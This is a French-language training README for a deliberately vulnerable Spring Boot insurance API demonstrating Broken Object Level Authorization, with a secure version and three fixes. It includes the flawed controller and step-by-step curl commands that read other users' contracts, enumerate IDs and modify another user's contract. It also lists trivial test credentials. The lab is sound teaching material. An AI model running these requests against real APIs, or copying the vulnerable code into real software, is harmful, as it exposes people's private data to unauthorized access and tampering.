Broken Object Level Authorization
Java 17 · Spring Boot · Spring Security
Accès aux ressources d'un autre assuré en modifiant l'ID dans la requête API. Authentification présente, autorisation objet absente.
Cas n°6 — API1:2023 Broken Object Level Authorization (BOLA)
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=06
ansible-playbook -i inventory.ini playbook.yml --tags switch -e project=06 -e variant=secure
Référence OWASP
- Catégorie : API1:2023 - Broken Object Level Authorization
- Sévérité : Critique
- Fréquence : La vulnérabilité API la plus répandue
démos vidéo
| Etape | Démo |
|---|---|
| Application vulnérable, déploiement | 06_vulnerable_01_deploy.mp4 |
| Application vulnérable, exploit | 06_vulnerable_01_demo.mp4 |
| Application sécurisée, déploiement | 06_secure_01_deploy.mp4 |
| Application sécurisée, 403 | 06_secure_01_demo.mp4 |
Contexte métier
L'API REST de gestion des contrats d'assurance Assuria expose les endpoints suivants :
| Méthode | Endpoint | Description |
|---|---|---|
| POST | /api/auth/login |
Authentification, retourne un token JWT |
| GET | /api/contrats |
Liste des contrats de l'utilisateur connecté |
| GET | /api/contrats/{id} |
Détail d'un contrat par ID |
| GET | /api/contrats/{id}/documents |
Documents attachés au contrat |
| PUT | /api/contrats/{id} |
Modifier un contrat |
Données de test
| Utilisateur | Login | Mot de passe | Contrats |
|---|---|---|---|
| Jean Dupont | jdupont |
password1 |
#1 Habitation (12 rue de la Paix), #2 Auto (AB-123-CD) |
| Marie Martin | mmartin |
password2 |
#3 Habitation (Lyon), #4 Santé (N° Sécu) |
| Administrateur | admin |
admin123 |
— |
La faille expliquée
Authentification ≠ Autorisation
La version vulnérable vérifie correctement que l'utilisateur est authentifié (token JWT valide), mais ne vérifie pas qu'il est autorisé à accéder à la ressource spécifique demandée.
Requête : GET /api/contrats/4
Token : JWT valide de jdupont ✓ ← authentification OK
Question manquante : le contrat #4 appartient-il à jdupont ? ✗ ← autorisation absente
Le code vulnérable
// VULNERABLE — ContratController.java
@GetMapping("/{id}")
public ResponseEntity<Contrat> getContrat(@PathVariable Long id) {
Contrat contrat = contratRepository.findById(id)
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
// FAILLE : on retourne le contrat sans vérifier
// que contrat.getUserId() == utilisateur connecté
return ResponseEntity.ok(contrat);
}
L'ID du contrat est auto-incrémenté (1, 2, 3, 4...), ce qui facilite encore davantage l'énumération.
Exploitation — Scénario pas-à-pas
Lancer la version vulnérable
cd vulnerable/
mvn spring-boot:run
Étape 1 — Authentification
TOKEN_A=$(curl -s -X POST https://appsec.cc/api/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"jdupont","password":"password1"}' | jq -r '.token')
echo "Token de jdupont : $TOKEN_A"
Étape 2 — Accès normal (légitime)
# Mes contrats : IDs 1 et 2 (jdupont)
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats | jq
# Mon contrat habitation → 200 OK, données légitimes
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/1 | jq
Étape 3 — Exploitation BOLA
# Accès au contrat de Marie Martin (id=3) avec le token de jdupont
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/3 | jq
# → 200 OK ! Adresse domicile de mmartin exposée
# Accès au contrat santé (id=4) → numéro de sécurité sociale exposé
curl -s -H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/4 | jq
# Énumération : tester les IDs de 1 à 10
for i in $(seq 1 10); do
curl -s -o /dev/null -w "contrat/$i → HTTP %{http_code}\n" \
-H "Authorization: Bearer $TOKEN_A" https://appsec.cc/api/contrats/$i
done
# Modification du contrat d'un autre assuré
curl -s -X PUT -H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"type":"MODIFIE_PAR_ATTAQUANT"}' \
https://appsec.cc/api/contrats/3 | jq
Script automatisé
# Linux/Mac
chmod +x exploit/bola-exploit.sh
./exploit/bola-exploit.sh
# Windows
exploit\bola-exploit.bat
Impact
| Données exposées | Risque |
|---|---|
| Adresse domicile (contrats #1, #3) | Atteinte à la vie privée, RGPD |
| Immatriculation véhicule (contrat #2) | Fraude, usurpation d'identité |
| Numéro de sécurité sociale (contrat #4) | Fraude à l'identité, violation RGPD critique |
| Modification d'un contrat tiers | Fraude à l'assurance |
Correctif — Version sécurisée
Lancer la version sécurisée
cd secure/
mvn spring-boot:run
Relancer le script d'exploitation : toutes les tentatives BOLA retournent désormais HTTP 403 Forbidden.
Principe du correctif
La solution repose sur le filtrage au niveau SQL : on ne récupère le contrat que s'il correspond à la fois à l'ID demandé ET à l'utilisateur connecté.
Option 1 — Filtrage au niveau du repository (approche retenue)
// ContratRepository.java
public interface ContratRepository extends JpaRepository<Contrat, Long> {
// Spring Data génère : SELECT * FROM contrats WHERE id = ? AND user_id = ?
Optional<Contrat> findByIdAndUserId(Long id, Long userId);
}
// ContratService.java
public Contrat getContrat(Long id, Long currentUserId) {
return contratRepository.findByIdAndUserId(id, currentUserId)
.orElseThrow(() -> new ResponseStatusException(
HttpStatus.FORBIDDEN,
"Accès refusé : vous n'êtes pas autorisé à accéder à ce contrat"));
}
// ContratController.java — le contrôleur passe l'userId courant au service
@GetMapping("/{id}")
public ResponseEntity<Contrat> getContrat(@PathVariable Long id, Authentication auth) {
User user = (User) auth.getPrincipal();
return ResponseEntity.ok(contratService.getContrat(id, user.getId()));
}
Option 2 — Vérification dans le service
public Contrat getContrat(Long id, Long currentUserId) {
Contrat contrat = contratRepository.findById(id)
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
if (!contrat.getUserId().equals(currentUserId)) {
throw new ResponseStatusException(HttpStatus.FORBIDDEN,
"Accès refusé : vous n'êtes pas autorisé à accéder à ce contrat");
}
return contrat;
}
Note : L'option 2 expose un oracle : un attaquant peut distinguer "contrat inexistant" (404) de "contrat existant mais interdit" (403), confirmant l'existence de l'ID. L'option 1 renvoie systématiquement 403 dans les deux cas.
Option 3 — Annotation @PreAuthorize Spring Security
// SecurityConfig.java — activer @EnableMethodSecurity
@Configuration
@EnableMethodSecurity
public class SecurityConfig { ... }
// ContratSecurity.java — composant de vérification
@Component("contratSecurity")
public class ContratSecurity {
public boolean isOwner(Long contratId, Authentication auth) {
User user = (User) auth.getPrincipal();
Contrat contrat = contratRepository.findById(contratId).orElse(null);
return contrat != null && contrat.getUserId().equals(user.getId());
}
}
// ContratController.java — déclaratif, lisible
@GetMapping("/{id}")
@PreAuthorize("@contratSecurity.isOwner(#id, authentication)")
public ResponseEntity<Contrat> getContrat(@PathVariable Long id) {
return ResponseEntity.ok(contratRepository.findById(id).orElseThrow());
}
Points clés à retenir
-
Authentification ≠ Autorisation : un token valide prouve l'identité, pas les droits sur chaque ressource.
-
BOLA est la vulnérabilité API #1 car elle est triviale à exploiter (changer un entier dans l'URL) et très répandue.
-
Toujours filtrer par propriétaire côté serveur — jamais côté client.
-
Préférer le filtrage SQL (
findByIdAndUserId) : plus sûr (une seule requête atomique) et plus performant qu'une vérification applicative post-fetch. -
Les IDs auto-incrémentés facilitent l'énumération : envisager des UUID v4 pour les ressources sensibles (
UUID.randomUUID()). -
Ne pas différencier 404 et 403 sur les ressources privées : retourner systématiquement 403 pour ne pas confirmer l'existence d'une ressource.
Structure du projet
06-api-bola/
├── README.md
├── exploit/
│ ├── bola-exploit.sh # Script Linux/Mac
│ └── bola-exploit.bat # Script Windows
├── vulnerable/ # Version sans contrôle de propriété
│ ├── pom.xml
│ └── src/main/java/cc/appsec/bola/
│ ├── Application.java
│ ├── DataInitializer.java
│ ├── config/SecurityConfig.java
│ ├── controller/
│ │ ├── AuthController.java
│ │ └── ContratController.java ← FAILLE ICI
│ ├── dto/LoginRequest.java
│ ├── model/ (User, Contrat, Document)
│ ├── repository/ (sans findByIdAndUserId)
│ └── security/ (JwtUtil, JwtFilter)
└── secure/ # Version avec contrôle de propriété
├── pom.xml
└── src/main/java/cc/appsec/bola/
├── Application.java
├── DataInitializer.java
├── config/SecurityConfig.java ← @EnableMethodSecurity
├── controller/
│ ├── AuthController.java
│ └── ContratController.java ← passe userId au service
├── dto/LoginRequest.java
├── model/ (User, Contrat, Document)
├── repository/
│ └── ContratRepository.java ← findByIdAndUserId
├── service/
│ └── ContratService.java ← vérification propriétaire
└── security/
├── JwtUtil.java
├── JwtFilter.java
└── ContratSecurity.java ← @PreAuthorize helper